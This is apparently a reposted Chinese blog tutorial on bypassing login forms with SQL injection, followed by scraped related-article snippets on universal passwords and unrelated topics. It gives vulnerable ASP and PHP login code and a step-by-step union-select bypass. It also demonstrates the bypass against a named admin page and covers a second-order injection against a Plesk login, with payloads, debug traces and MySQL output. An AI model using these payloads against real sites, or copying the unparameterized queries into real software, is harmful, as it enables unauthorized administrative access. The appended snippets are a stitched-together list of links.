—————————asp代码—————————————–

username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陆成功
End if 
——————————————————————————————————–

现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站http://aks.akszy.com/admin/

用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..

还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。

如果是mysql的话可以搞二次攻击,以下是2月文章:

今天看到这个帖子,佩服各牛突然觉得这个Mysql + plesk 怎么有点鸡肋。我没有源码,只好通过出错信息来fuzzer。没想到一下就YY了半天。。。
看出错信息:
DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’;–” at line 1
———————- Debug Info ——————————-
0: plib\common_func.php3:243
db_query(string ’select id from admin_aliases where login=” union select login from admin_aliases;–”)
1: plib\class.AdminAlias.php:313
AdminAlias::findId(string ” union select login from admin_aliases;–’)
2: plib\cmd_loginup.php:147
createSession(string ” union select login from admin_aliases;–’, string ’******************************************’)
3: htdocs\login_up.php3:27
从SQL语句中可以大概猜测,这个login是字符类型的,而ID确是int类型,在MSSQL中union通过显错来获取信息可以证明这一点。根据大多数的web程序来推测的话,验证过程大概是这样。
1.通过用户名到数据库里寻找到该用户的ID值进行第一步判断。
2.找到了,再用这个ID值去找管理员的信息,可以使密码,也可以是*了,呵呵。
3.对提交的密码进行加密,和上一个结果集比对
令人高兴的是,这个系统大方的给了我单引号用,单咋一看,我们union控制结果集来绕过验证的常规思路似乎行不通。因为第一步只查找了那该死的ID。MSSQL报错。。报错。。那么MSSQL是个严谨的绅士,那MYSQL呢,我印象里他是个对类型不敏感的小流氓。这让人兴奋,我写了个小脚本来模拟这种“鸡肋”登陆注入的验证过程。
test.php
<?php
$uid = $_POST[uid];
$pwd = $_POST[pwd];

$link = mysql_connect(‘localhost’, ’root’, ’123456′)
or die(‘Could not connect: ’ . mysql_error());
//echo ’Connected successfully’;
mysql_select_db(‘test’) or die(‘Could not select database’);

//通过uid找到用户id 注意id为int
$query = ”SELECT id FROM admin where uid=’$uid’”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);

$user_id = $line[id];

$query = ”SELECT * FROM admin where id=$user_id”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);

//验证开始
if ($line[pwd] == $pwd){ echo ”验证成功!<br>”; } else { echo ”验证失败!<br>”; }

mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form action=”http://localhost:8080/test.php” method=”POST”>
<input name=uid type=text size=80>
<br>
<input name=pwd type=text size=80>
<br>
<input type=submit>
</form>
很简陋哈,呵呵。先让我们看看mysql里的设置。
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
ERROR 1050 (42S01): Table ’admin’ already exists
mysql> drop table admin;
Query OK, 0 rows affected (0.03 sec)

mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)

mysql> insert into admin values(‘admin’,'fuckme’,1);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+——-+——–+——+
| uid   | pwd    | id   |
+——-+——–+——+
| admin | fuckme |    1 |
+——-+——–+——+
1 row in set (0.00 sec)
测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
| id   |
+——+
|    1 |
+——+
1 row in set (0.00 sec)

mysql> select id from admin union select ’fuckme,please’;
+—————+
| id            |
+—————+
| 1             |
| fuckme,please |
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
| id                    |
+———————–+
| 1                     |
| 0 union select 1,2,3# |
+———————–+
2 rows in set (0.00 sec)
这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊

程序输出:
执行的SQL语句为:SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!

本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/354566,如需转载请自行联系原作者

union万能密码By:dangdang相关推荐

  1. mysql登录框万能密码_Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]...

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可以 ...

  2. 网站后台万能密码/10大常用弱口令

    方法 / 步骤 一: 手动探测 先手动猜测几个可能的弱口令,主要是判断站点有没有做登录失败次数限制,若没有限制,则可以使用工具字典工具进行测试 二: 使用字典测试 2.1 字典生成思路 国内很多安全测 ...

  3. 万能用户名和万能密码

    万能用户名 any' union select * from user – (后面有个注释符) 联合查询,是查询的结果大于1,为真 万能用户名防御 PDO $username=$REQUEST['us ...

  4. sql注入之万能密码总结

    万能密码 万能密码原理 原验证登陆语句: SELECT * FROM admin WHERE Username= '".$username."' AND Password= '&q ...

  5. 后台登入万能密码合集

    asp aspx万能密码 1: "or "a"="a    2: ')or('a'='a    3:or 1=1--    4:'or 1=1--    5:a ...

  6. 23-mysql万能用户名和万能密码

    1.万能密码 注入的时候写入   用户名  aa   密码  'bb' or 1=1 2.万能用户名 注入的时候 用户名为(注意:不加sql中的分号): aa   union select * fro ...

  7. 暴力破解时常说的万能密码是什么

    在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后再用  sql="select * from admin where username=&q ...

  8. PHP代码审计入门-万能密码入门分析

    0x00  写在前面 从零学习php,最终目的实现代码审计入门,软件采用sublime text,环境使用phpstudy搭建,数据库是navicat,需要有简单的html基础和php基础,跟随流沙前 ...

  9. SQL手工注入原理万能密码及默认密码登陆后台

    SQL手工注入原理: 下面就是比较笨的方法了==    一个一个试 (* ̄rǒ ̄) 针对于.asp后缀网 + ?id_  在后面加入下面代码,返回正确那就是无注入点,反正就是有注入点 一.什么是SQL ...

最新文章

  1. 201671010139 徐楠
  2. 整理就知识,你会在里面发现新的东西
  3. pdm生成mysql sql语句_如何用Powerdesigner的PDM生成数据库
  4. Oracle创建表_01
  5. 自定义滚动条,可解决火狐滚动条默认样式修改不了问题
  6. 微信小程序接口测试时appid为空如何解决
  7. Linux shell中比较操作符“==”与“-eq”对比
  8. 数据可视化黑科技!它比python强大20倍
  9. OpenCV图像处理(14)——文件夹下所有图像转灰度
  10. monkey 查找闪退页面的方法
  11. Spring Boot @ServletComponentScan 扫描 @WebServlet、@WebFilter、@WebListener
  12. everthing 添加右键菜单
  13. 愚人节、物联网、飞鸽与IP
  14. Cesium基础知识-创建3D地球
  15. 2018初中计算机考试知识点,2018计算机等级考试考点:考前学习的技巧
  16. 智能指针循环引用——你真的懂了吗?
  17. Java 线程的状态
  18. 字节跳动今日头条笔试题目经历2018
  19. 设计师必读的 10 本书
  20. 性能监控-软中断出现瓶颈的查看方式

热门文章

  1. “注册编辑已被管理员停用”之解决办法
  2. c++获取时间戳_「崩坏3」众星陨落 | 限时补给开启,4星装备获取概率UP
  3. 科研地图来了,看看你的研究领域在哪里!中国科学院科技战略咨询研究院发布《科学结构图谱2021》
  4. Cadence复用电路原理图及其PCB布局
  5. C语言 | 基于MPU605(六轴传感器)的I2C实现LCD1602显示(代码类)
  6. Verilog | HDL 音乐流水灯(代码类)
  7. java填空题 在非静态成员方法中_Java程序设计填空和改错题(参考答案)
  8. mysql越筛越少_面试官:为什么SELECT * 会导致查询效率低?
  9. 未来教育计算机二级为什么分数很低,计算机二级考试失分了却不知道为什么?...
  10. m3u直播源_教你创建电视直播源